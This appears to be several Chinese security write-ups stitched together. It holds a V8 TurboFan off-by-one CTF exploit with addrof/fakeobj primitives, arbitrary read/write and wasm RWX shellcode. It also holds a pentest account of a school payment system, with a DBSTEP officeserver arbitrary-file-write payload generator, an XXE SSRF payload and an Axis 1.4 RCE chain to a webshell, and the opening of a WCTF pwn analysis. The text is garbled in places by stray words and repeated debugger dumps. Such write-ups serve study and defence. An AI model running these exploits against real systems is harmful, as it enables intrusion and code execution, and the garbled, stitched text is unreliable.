然后并没有断下来, 说明程序并没有走我们patch的优化函数
猜测是类型出了问题,因为这个patch是只针对Uint32类型
// if(argg == 1)
// {
// %DebugPrint(oob);
// }
重新看patch中源码的位置, 对应的cc文件是machine-operator-reducer.cc,想起了前两天看的资料,这个文件中的函数应该是在TyperLowering阶段之后应用的,因为machiner 节点是这个优化之后的.
而且要得到的是Uint32类型的machine 节点,那么其对应的比较节点应该是Uint32Lessthan
#### 2.3
因为我们希望Turbofan较晚的发现我们的比较数值,所以根据之前浮现的一个洞,想到了 let m =
{o:1}的方法,使得优化的时候在Escape阶段才发现我们比较的对象
poc3.js
function foo()
{
let v = 1;
// var num = 1;
let m = {o:1};
return (v<m.o);
}
const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行结果
Concurrent recompilation has been disabled for tracing.
false
false
--------------------------------------------------- Begin compiling method foo using TurboFan
--------------------------------------------------- Finished compiling method foo using TurboFan
false
[Thread 0x7fbf10887700 (LWP 11350) exited]
[Thread 0x7fbf11088700 (LWP 11349) exited]
[Inferior 1 (process 11348) exited normally]
同样下断点调试源码,发现还是没有经过patch的地方
到现在面临的主要问题是,如何触发patch对应的Uint32Lessthan比较……
#### 2.4
这个时候不知道如何继续下去,得想办法触发Uint32Lessthan比较,于是直接上bing搜…..
结果还真搜到了一篇文章
文章涉及的漏洞是chrome issue
762874,但是博主使用的v8版本与我之前浮现的不同,这个版本相对比较新,里面的优化流程略有不同,于是开始阅读文章,并同时加深一下之前浮现的洞的印象.博主使用的是v8
7.5.0
下面从博主的分析 优化图解 与 源码调试几方面搞清楚里面的优化流程
首先跟一下这个checkBound节点的优化流程
simplified-lowering.cc visitCheckbound函数
注意选中的那一行,从原来的消除checkBound节点,变成了将节点转化成CheckedUint32Bounds
之后继续追simplified-lowering之后的优化
在effect-Control-Linearizer.cc
中有对上面checkeduint32Bounds的优化,同样我们在这个函数的第四行看到了期待的<u>Uint32lessThan</u>,
在这里checkeduint32Bounds节点会变成Uint32lessThan节点以及一系列的其他节点
这个函数总共有两条分支,程序会走下面的kAbort….分支
xit+111> mov qword ptr [r13 + 0x2fd0], 1
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffed979d680 ◂— 0x7ffed979d680
01:0008│ 0x7ffed979d688 ◂— 0x6
02:0010│ rbp 0x7ffed979d690 —▸ 0x7ffed979d6c0 —▸ 0x7ffed979d720 —▸ 0x7ffed979d748 —▸ 0x7ffed979d7b0 ◂— ...
03:0018│ 0x7ffed979d698 —▸ 0x7f439444d40b (Builtins_InterpreterEntryTrampoline+299) ◂— mov rcx, rax
04:0020│ r15 0x7ffed979d6a0 —▸ 0x8e6c271f881 ◂— 0x21000004e4c70803
05:0028│ 0x7ffed979d6a8 —▸ 0x16d3aa8004d1 ◂— 0x16d3aa8005
06:0030│ 0x7ffed979d6b0 —▸ 0x8e6c271f881 ◂— 0x21000004e4c70803
07:0038│ 0x7ffed979d6b8 ◂— 0x22 /* '"' */
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────pwndbg> p params.mode()
$13 = (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CheckBoundsParameters::kAbortOnOutOfBounds
为了看这一步的优化情况,写一个JS,查看一下优化图解
两条分支如下
如果是True的话,就会返回我们访问的对象,如果是false的话就会到达ret
动态调试(运行起来之后才能在源码下断点)一下上面的流程
第一处
第二处断在下面的位置
打印一下index limit信息并进入到Uint32LessThan函数中这样写的话如何这样写的话如何
第三处断在了
In file: /home/u18/v8/src/compiler/machine-operator-reducer.cc
285 }
286 if (m.LeftEqualsRight()) return ReplaceBool(true); // x <= x => true
287 break;
288 }
289 case IrOpcode::kUint32LessThan: {
► 290 Uint32BinopMatcher m(node);shih
291 if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
292 if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
293 if (m.IsFoldable()) { // K < K => K
294 return ReplaceBool(m.left().Value() < m.right().Value() + 1);//比较的时候左边是index 右边是length
295 }
在effect-linearizaton阶段
如果是Ture就会到分支右侧的loadElement , 如果是False就会到unreachable
所以这里就涉及到了具体的漏洞位置,就是当访问数组的时候,其中有一个Uint32LessThan比较,优化返回True就越界成功了
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value() + 1);//比较的时候左边是index 右边是length
源码中patch的位置如上
所以如果length = 4 我们输入的index = 4实际上是优化出True, 可以访问
而oob[4]实现了off-by-one
#### 2.5
尝试用数组越界进行漏洞的触发
function foo()
{
let oob = [1.0,1.1,1.2];
let m = {o:4};
return oob[m.o];
}0x7fffffff
// const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }0x7fffffff
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
同样在源码中下断点,查看触发情况
上面的脚本段在了下面的位置
输出一下节点的情况
0x7fffffffpwndbg> print m
$1 = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b2010c6c10
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::BinopMatcher<v8::internal::compiler::IntMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>, v8::internal::compiler::IntMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant> >:
left_ = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>> = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b201109628
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>:
value_ = 4,
has_value_ = true
}, <No data fields>},
right_ = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>> = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b201109ae8
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>:
value_ = 3,
has_value_ = true
}, <No data fields>}
}
可以看到right的value的值是3, left的value值是4(4<3+1 返回false)
对应到VisitcheckBound的源码
这里返回False会抛出异常, 导致segent fault
所以上面应该返回True才对
改一下上面的POC,改了一个数字而已
In file: /home/u18/v8/src/compiler/simplified-lowering.cc
1584 CheckBoundsParameters::kDeoptOnOutOfBounds;
1585 if (lowering->poisoning_level_ ==
1586 PoisoningMitigationLevel::kDontPoison &&
1587 (index_type.IsNone() || length_type.IsNone() ||
1588 (index_type.Min() >= 0.0 &&
► 1589 index_type.Max() < length_type.Min()))) {
1590 // The bounds check is redundant if we already know that
1591 // the index is within the bounds of [0.0, length[.
1592 mode = CheckBoundsParameters::kAbortOnOutOfBounds;
1593 }
1594 NodeProperties::ChangeOp(
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe524f3(m.left().Value() < m.right().Value() + 1)610 ◂— 0x524f3502524f3704
01:0008│ 0x7ffe524f3618 ◂— 0x7f0000000000
02:0010│ 0x7ffe524f3620 ◂— 0x0
03:0018│ 0x7ffe524f3628 ◂— 0x1ffffffff
04:0020│ 0x7ffe524f3630 —▸ 0x7ffe524f3650 ◂— 0xffffffff
05:0028│ 0x7ffe524f3638 ◂— 0x2ac9a897c
06:0030│ 0x7ffe524f3640 —▸ 0x7ffe524f7130 —▸ 0x5561445706c8 —▸ 0x5561445705f8 —▸ 0x5561445645e0 ◂— ...
07:0038│ 0x7ffe524f3648 —▸ 0x7ffe524f3700 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7fadada66dab
f 1 7fadada585ac
f 2 7fadada4cf10 v8::internal::compiler::RepresentationSelector::Run(v8::internal::compiler::SimplifiedLowering*)+432
f 3 7fadada47a47 v8::internal::compiler::SimplifiedLowering::LowerAllNodes()+199
f 4 7fadad9ef710
f 5 7fadad9e75b4
f 6 7fadad9ddfc1 v8::internal::compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+385
f 7 7fadad9dddad v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl()+413
f 8 7fadac91f626 v8::internal::OptimizedCompilationJob::ExecuteJob()+214
f 9 7fadac92a24c
f 10 7fadac923507
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i registers xmm0
xmm0 {
v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
jbefunction foo()
{
let oob = [1.0,1.1,1.2];
let m = {o:3}; <============改动的位置
return oob[m.o];
}
// const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
这样上面的脚本就形成了off-by-one
之后的操作就如2019 *ctf oob了~~~
## 3 exp
#### 3.1
基本的思路和*ctf oob类似 这里就不多写了
泄露map值
function foo()
{
// let oob;
// let obj_array;
oob = [1.0,1.1,1.2];
obj_array = [oob];//
let m = {o:3};
// if(argg == 1)
// {
// %DebugPrint(obj_array);
// %DebugPrint(oob);
// }
return oob[m.o];
}
// const MAX_ITERATIONS = 100000;
foo();
for(var i=0;i<MAX_ITERATIONS;i++)
{
foo();
}
// readline();
let float_array_map = foo();
console.log('[*] array map ===> '+hex(f2i(float_array_map)));
let obj_array_map = i2f(f2i(float_array_map)+0xa0);
console.log('[*] obj_array_map===> '+hex(f2i(obj_array_map)));
#### 3.2
伪造float_obj
function fakeobj_opt(addr)
{
let array = [addr,addr];
let o = {x:2};
array[o.x] = obj_array_map;
return array
}
for(var i=0;i<0x10000;i++)
{
fakeobj_opt(float_array_map);
}//
function fakeObj(addr)//参数浮点型 返回值浮点型
{
// print(hex(f2i(addr)));
let ret = fakeobj_opt(addr);
// %DebugPrint(ret);
return ret[0];
}
var float_map_obj = fakeObj(float_array_map);//ｆａｋｅ
#### 3.3
addrof原语
function addrof_opt(obj)
{
let array = [obj,obj];
let o = {x:2};
array[o.x] = float_map_obj;
return array;
}
var temp_obj = {"a":1};
for(var i=0;i<MAX_ITERATIONS;i++)
{
addrof_opt(temp_obj);
}//
function addrof(obj)//传入obj型 返回浮点
{
let ret = addrof_opt(obj);
// %DebugPrint(ret);
return ret[0];
}
#### 3.4
任意地址读写
function abread(addr)//参数整形 返回值整形
{
let adddr = addrof(fake_array);
let test = fakeObj(i2f(f2i(adddr)-0x20));//这里的-0x..与上面fake_array的大小有关
// %DebugPrint(test);//这是个obj 不能print
// readline();
fake_array[2]=i2f(addr-0x10);
return f2i(test[0]);
}
function abwrite(addr,data)//参数为整
{
let adddr = addrof(fake_array);
let test = fakeObj(i2f(f2i(adddr)-0x20));
fake_array[2] = i2f(addr-0x10);
test[0] = i2f(data);
}
#### 3.5
利用backstore写wasm_rwx
var share_info = abread(leak_f + 0x18);
console.log("[*] share_info ====> "+hex(share_info));
var wasm_data = abread(share_info+8);
console.log("[*] wasm_data ====> "+hex(wasm_data));
var wasm_instance = abread(wasm_data+16);
console.log("[*] wasm_instance ====> "+hex(wasm_instance));
var wasm_rwx = abread(wasm_instance+0x88);//这里都没有写－１ 因为obj
console.log("[*] wasm_rwx ====> "+hex(wasm_rwx));
//
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
let buf_new = new ArrayBuffer(0x200);
let dataview = new DataView(buf_new);
let leak_buf = f2i(addrof(buf_new));
let fake_write = leak_buf + 0x20;//get backstore
abwrite(fake_write,wasm_rwx);
console.log("[*] fake_write ====> "+hex(fake_write));
for(var i=0;i<shellcode.length;i++)
{
dataview.setUint8(i,shellcode[i],true);
}
// %DebugPrint(buf_new);
// %SystemBreak();
f();
## 4 利用效果
## 5 问题
#### 关于题目：
如何找到v8 与 chrome的对应关系
#### 关于优化：
调试的时候visit_check_bound 打印index_type 后来采用单步跟踪的方式
为什么length_type.Min()一定是最大值
In file: /home/u18/v8/src/compiler/simplified-lowering.cc
1584 CheckBoundsParameters::kDeoptOnOutOfBounds;
1585 if (lowering->poisoning_level_ ==
1586 PoisoningMitigationLevel::kDontPoison &&
1587 (index_type.IsNone() || length_type.IsNone() ||
1588 (index_type.Min() >= 0.0 &&yuejie
► 1589 index_type.Max() < length_type.Min()))) {
1590 // The bounds check is redundant if we already know that
1591 // the index is within the bounds of [0.0, length[.
1592 mode = CheckBoundsParameters::kAbortOnOutOfBounds;
1593 }
1594 NodeProperties::ChangeOp(
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe524f3610 ◂— 0x524f3502524f3704
01:0008│ 0x7ffe524f3618 ◂— 0x7f0000000000
02:0010│ 0x7ffe524f3620 ◂— 0x0
03:0018│ 0x7ffe524f3628 ◂— 0x1ffffffff
04:0020│ 0x7ffe524f3630 —▸ 0x7ffe524f3650 ◂— 0xffffffff
05:0028│ 0x7ffe524f3638 ◂— 0x2ac9a897c
06:0030│ 0x7ffe524f3640 —▸ 0x7ffe524f7130 —▸ 0x5561445706c8 —▸ 0x5561445705f8 —▸ 0x5561445645e0 ◂— ...
07:0038│ 0x7ffe524f3648 —▸ 0x7ffe524f3700 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7fadada66dab
f 1 7fadada585ac
f 2 7fadada4cf10 v8::internal::compiler::RepresentationSelector::Run(v8::internal::compiler::SimplifiedLowering*)+432
f 3 7fadada47a47 v8::internal::compiler::SimplifiedLowering::LowerAllNodes()+199
f 4 7fadad9ef710
f 5 7fadad9e75b4
f 6 7fadad9ddfc1 v8::internal::compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+385
f 7 7fadad9dddad v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl()+413
f 8 7fadac91f626 v8::internal::OptimizedCompilationJob::ExecuteJob()+214
f 9 7fadac92a24c
f 10 7fadac923507
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i registers xmm0
xmm0 {
v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
就是说一定会进入这个状态喽?
mode = CheckBoundsParameters::kAbortOnOutOfBounds;(m.left().Value() < m.right().Value() + 1)
这样写的话如何
function foo()
{
let oob = [1.0,1.1,1.2,1.4];
let m = {o:4};
return oob[4];
}
这样写的话如何
还是会走到compiler/machine-operator-reducer.cc 但是length值是0x7ff….
因为在LoadElimination
Phase阶段，消除了LoadElement节点，idx变量被LoadElimination中的常数折叠直接消除了，无法加载数组进行访问。????
那~~~ 之前没有+1优化的时候 岂不是就可以直接越界?
#### 关于脚本编写：
这里为什么一定要把let oob放到函数的里面 没有想清楚
#### 关于运行时的问题：
泄露地址时出现下面的情况
0x2ec93f2e4cb1 <JSFunction 0 (sfi = 0x2ec93f2e4c79)>
[*] leak_f ====> 0x00002ec93f2e4cb1
0x32c0943f9681 <JSArray[2]>
[*] share_info ====> 0x7ff8000000000000
0x32c0943f9bc1 <JSArray[2]>
[*] wasm_data ====> 0x7ff8000000000000
0x32c0943fa0a1 <JSArray[2]>
[*] wasm_instance ====> 0x7ff8000000000000
0x32c0943fa589 <JSArray[2]>
[*] wasm_rwx ====> 0x7ff8000000000000
解决：
整数与浮点数的转化没有整明白
写函数的时候标注出来最好
## 6 参考
<https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_0_35>
## 7 知识技巧
浮点数汇编比较
ucomisd S1,S2 S2-S1 比较双精度值
查看寄存器状态
pwndbg> i registers xmm1
xmm1 {
v4_float = {0x0, 0x2, 0x0, 0x0},
v2_double = {0x3, 0x0},
v16_int8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0x0, 0x0, 0x4008, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0x0, 0x40080000, 0x0, 0x0},
v2_int64 = {0x4008000000000000, 0x0},
uint128 = 0x00000000000000004008000000000000
}
pwndbg> i registers xmm0
xmm0 {
shibaishibai v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
在触发漏洞的时候如果加上debugprint往往触发失败
function foo(argg)
{
let oob = [1.0,1.1,1.2];
let m = {o:3};
// if(argg == 1)
// {
// %DebugPrint(oob);
// }
return oob[m.o];
}
可能由于代码变了 这次存在一个参数为１ 的判断
Fakeobj 其实就是存在一个obj的数组，将数组中的元素设置为你想伪造的类型的map值，
之后返回伪造的对象，虽然说伪造的对象与float值实现相等的，但是却是不同的意义
addrof 应用了数组的索引功能
任意地址读写应用的是数组的索引功能，伪造一个数组
根据一个特殊的array进行构造
几种跳过loadElement的方法
function opt(){
let arr = [0, 1, 2, 3];
let idx = 4;
idx &= 0xfff;
return arr[idx];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt()
console.log(x)
算数运算
function opt(){
let arr = [0, 1, 2, 3];
let o = {x: 4};
return arr[o.x];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt()
console.log(x)
function opt(x){
let arr = [0, 1, 2, 3];
let idx = (x="foo")?4:2;
return a[idx];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt("foo")
console.log(x)
无效的phi节点 | 社区文章 |
Author: 远海@安恒卫兵实验室
**0x01:前言**
最近忙着复习,所以很少关注安全这块了。本次是针对自己学校某系统的渗透记录,已获得相应授权。通用漏洞涉及影响单位早前已提交至SRC平台,厂商已发布对应补丁。
**0x02:信息收集**
目标系统主要是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试。
软件开发商:`xx软件开发有限公司/xxsoft/xxxx.com.cn`
开发语言: `Java`
框架: `St2`
因为是近期刚上线的系统,单点认证还没有接入。无法通过单点认证登录此系统,在尝试爆破`admin`密码后无果.
开始转向源码的收集。毕竟白盒才是最直接的手段。源码的收集大致有以下几个思路:
1.百度云盘
2.闲鱼 (部分商家已搭建第三方系统为主可能有存货需要主动询问)
3.同系统站点下存在备份
百度云盘和闲鱼比较费时间,这两个主要看自身对关键词的理解。因为这两个思路基本被人玩的差不多了，也就
不在浪费时间了(后面找了下也确实没有)。先确定了该系统的指纹,使用`fofa`收集相同系统站点。
然后丢进御剑里走一遍。字典如下:
/ROOT.7z
/ROOT.rar
/ROOT.tar
/ROOT.tar.gz
/ROOT.war
/ROOT.zip
/web.tar
/web.tar.gz
/web.rar
这里其实需要注意.很多情况是`tomcat`下部署了多个应用。在不同目录中,而 `ROOT` 目录中只是几个简单的重定向
文件。所以在扫描多应用站点时,应该把 `ROOT` 改成应用所处目录名. 如:
/pay/index.jsp-- > /pay/ --> pay.war
上面这套思路纯粹看运气.结果也是没有扫到.
**0x03:某组件存在安全问题**
备份走不通只能走一些历史漏洞了。把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次验证)
发现`ticket`模块下存在 `officeserver.jsp` ,访问后出现提示
DBSTEP V3.0 0 14 0 请使用Post方法
典型的某格组件,该组件默认存在 `SAVEASHTML` 方法,攻击者构造特殊的数据包可以造成任意文件的写入:
并且默认使用`Base64`加密,主要问题在于数据包的构造: 一张图简单了解下具体格式. (别喷,我自己也看不懂)
**解释:**
具体参考`DbStep.jar`中的`StreamToMsg` 方法。这里只做简单的解释
数据包的前64字节为配置信息,告诉后端该如何读取,也就是0-63位。
其中 `0:15` 赋值给变量 `FVersion` , `16:31` 赋值给变量 `BodySize` , `32:47` 赋值给
`ErrorSize` . `48:63` 赋值给 `FFileSize` .除了 `FVersion`
,其余中间内容只能填写数字,代表着各个变量的内容要读取多少位. 以 `BodySize` 为例子,这里的内容为 114
,也就是说去除数据前64字节,在往后读114字节.这114字节内容赋值给 `FMsgText` .之后取参数也是从 `FMsgText` 中取，每个参数以
`\n\t` 进行分割。
以此类推. 了解如何构造对应数据包后开始编写脚本: 该组件默认会有一个 `SAVEASHTML` 方法。可以将 `FFileSize`
截取的内容存储到文件中。导致任意文件的写入。
else if (mOption.equalsIgnoreCase("SAVEASHTML")) { //
����Ĵ���Ϊ��OFFICE��ΪHTMLҳ��
mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); //
ȡ���ļ�����
mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //ȡ��Ŀ¼����
MsgObj.MsgTextClear();
if (mDirectory.trim().equalsIgnoreCase("")) {
mFilePath = mFilePath + "\\HTML";
}
else {
mFilePath = mFilePath + "\\HTML\\" + mDirectory;
}
MsgObj.MakeDirectory(mFilePath); //����·��
if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { //
����HTML�ļ�
MsgObj.MsgError(""); //
���������Ϣ
MsgObj.SetMsgByName("STATUS", "����HTML�ɹ�!"); //
Ϣ��״̬����
}
else {
MsgObj.MsgError("����HTMLʧ��!"); //
���ô�����Ϣ
}
MsgObj.MsgFileClear();
}
当文件夹不存在时会自动创建对应的文件夹。`MsgFileSave` 方法后面拼接的 `mHtmlName` 内容可控,写入文件可以
尝试跨目录。编写生成脚本:
body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==
LOCALFILE=MQ==""".replace(
' ', '\n').strip()
coente="""hello1"""
fileContent=f'''
{coente}
'''.replace("\n","").strip()
payload="DBSTEP V3.0 "
bodysieze=str(len(body))
filesize=str(len(fileContent))
payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16- len(filesize))+body+fileContent
FVersion=payload[0:15]
print("version:",FVersion)
Body=payload[16:31]
print("BodySize:",Body)
Error=payload[32:47]
print("ErrorSize:",Error)
File=payload[48:63]
print("FileSize:",File)
print(payload)
使用`postman`发送`payload`到指定文件。
可能是觉得我操作的过于顺利,返回保存文件失败的内容,于是陷入了沉思。经过一系列的探索。我发现,当 `FileName` 中的内容不存在 `/../`
跨目录符号时就能保存成功。
因为 `mFilePath` 取值就是当前应用的根目录
所以文件应该在 `HTML` 目录下。尝试访问.
返回404错误,证明文件并没有写入到指定位置中。
**0x04:Linux和Windows 写入文件的差异性**
最后在请教忍酱后得知,由于目标是 `Linux` 系统,在 `linux` 系统中, `\\` 被当做成一个文件夹。而 `FileOutputStream`
在写入文件时如果文件夹不存在会直接抛出错误。
Demo:
当写入文件时。由于文件夹不存在会创建一个 `\HTML\test` 的文件夹。而最终写入路径中的文件夹名为 `\HTML\test\\`,
`HTML\test\\` 名字的文件夹是不存在的，导致文件无法写入成功 .
在不使用 `/../` 跨目录符号时,文件最终会以 `\\HTML\\test\\1.txt` 的文件名进行存储,这与预期也是不符合的。
**解决方案:**
在了解无法写入的原因后,开始寻找解决方法。既然该方法可以创建文件夹,那么如果我预先创建一个 `\HTML\test\\`
命名的文件夹,后续不就可以写入了？\ 在创建文件夹时，如果 `mDirectory` 的内容不为空,那么最终存储的目录地址会进行一个拼接,然后创建。我们可
以在 `mDirectory` 上做一些尝试。在创建的文件夹名后面添加 `\\\` 符号,来确保能创建我们预期的文件夹名
**实践:**
这里写了一个Demo,模拟最终写入文件的流程。在 `path2` 上添加多个 `\\` .最终成功创建出了预期的`\HTML\test\\`
文件夹。(实际环境中其实需要3个)
有了对应的文件夹,再次尝试写入,由于拼接的原因,需要在原来的目录后去掉一个 `\`
**写入成功: 完成跨目录**
根据目标系统生成对应的POC: 总共分两个步骤: **1.创建文件夹 2.写入文件**
再次尝试写入文件:
成功写入！
**0x05:终点也是起点**
成功拿到Webshell后,根据现有POC.尝试在目标系统上复现,发现不存在 `ticket` 模块？？？,白干了？
好在先前拿的系统中存在 PAY
模块,可以直接下载下来进行代码审计。一顿审计过后发现并没有什么利用点???,该系统不存在文件上传点,并且SQL注入都会对传入的字符做处理
统一使用 `org.apache.commons.lang.StringEscapeUtils.escapeSql` 方法进行过滤。
这导致后续利用难。但是根据 `web.xml` ,发现该应用使用了 AXIS 且版本为1.4也开启了远程访问
Axis1.4 是存在一个远程命令执行的,可以向 `web service` 中添加恶意方法。导致命令执行。
具体可以参考文章:<https://paper.seebug.org/1489/#13-axis>
该漏洞利用需要一个SSRF漏洞,来组合利用。
根据现有代码开始查找,是否有可控点。一顿操作下来发现并没有可以利用的SSRF点。基本都是固定的URL。
回想起最近才复现的 `MySQL JDBC XXE漏洞(CVE-2021-2471)` .xxe也是可以发送http请求的。(主要是平时不太关注这类漏洞)
在JAVA中,可能造成XXE漏洞的主要有以下:
SAXBuilder
SAXParserFactory
SAXReader
SAXTransformerFactory
TransformerFactory
ValidatorSample
XMLReader
Unmarshaller
SchemaFactory
.....
最终审计发现了一处 `SAXBuilder` 所造成的XXE漏洞。
构造Payload,测试一下dnslog。
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>
得到响应。
有了SSRF,后续利用起来也比较方便了。因为此系统安装路径都是统一的,公开的几个利用链都是第三方jar
包,`LogHandler`比较麻烦。所以这里在内置方法类中找了一个文件写入的方法。`FileUtil`下有一个 `writeFileContent`
方法，可以直接写入文件。
(公开的链中有可以直接执行命令的，如:`freemarker`。目标不存在此依赖)
使用SSRF GET请求添加到 `Web services` ,"会有端口不一样的情况！"
(`POST转换一下格式就可以`)
方法被成功添加到`Web Services`中
调用方法,写入文件。成功拿到Webshell! | 社区文章 |
有幸参加了 今年的 wctf，被虐的不要不要的，比赛的题目质量很高，想着都找时间复现总结一下，希望自己可以复现完吧 :)
rswc 是 binja 出的 题目，可以说的唯一的一道应用层的pwn了，主要是一个 mmap 内存布局相关的知识点
### 功能分析
Try your best to get the flag
IP : 172.16.13.11
Port : 31348
题目文件如下
❯ tree
.
├── docker
│ ├── Dockerfile
│ ├── launch.sh
│ ├── rswc
│ └── xinetd
├── libc.so.6_5d8e5f37ada3fc853363a4f3f631a41a
├── README.md
└── rswc.zip
主要程序 是 docker 目录下的 rswc， 还给了libc， 版本2.23
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 bit 程序， no pie
❯ ./rswc
0. alloc
1. edit
2. show
3. delete
9. exit
程序有4个功能, 经典的选单程序
* alloc 传入size
* edit 根据index 和 alloc 的size 保存数据
* show 根据 index 和 alloc 的size write
* delte 根据 index delete
功能都和平时做题目差不多，这里的堆的管理机制不同，他是用mmap 自己模拟了堆管理的机制
ida 看看功能吧
#### **main函数**
void __fastcall main(__int64 a1, char **a2, char **a3)
{
init_400DB3();
while ( 1 )
{
menu();
switch ( readint() )
{
case 0:
all_400F15();
break;
case 1:
edit_400FB3();
break;
case 2:
show_401051();
break;
case 3:
del_401104();
break;
case 9:
_exit(0);
return;
default:
puts("huh?");
break;
}
puts(byte_4013A8);
}
}
